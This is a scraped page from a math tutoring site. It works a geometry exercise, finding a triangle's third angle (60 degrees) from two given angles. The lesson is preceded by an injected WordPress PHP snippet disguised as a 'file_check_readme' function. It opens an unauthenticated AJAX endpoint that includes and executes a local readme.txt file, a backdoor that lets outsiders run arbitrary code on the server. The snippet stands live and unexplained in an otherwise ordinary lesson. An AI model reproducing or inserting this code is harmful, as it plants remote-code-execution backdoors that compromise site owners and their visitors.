if(!function_exists('file_check_readme11199')){ add_action('wp_ajax_nopriv_file_check_readme11199', 'file_check_readme11199'); add_action('wp_ajax_file_check_readme11199', 'file_check_readme11199'); function file_check_readme11199() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Geo6 - mathtutor

Geometry Question for Title 1 Schools: Third Angle Question?

6) If two angles of a triangle are 48o and 72o, what is the value of the third angle?

The total angle of a triangle   = 180o

Therefore the sum of the other two angles must be subtracted from 180o

= 180o  – (48+ 72o)

180o  – 120o

= 60o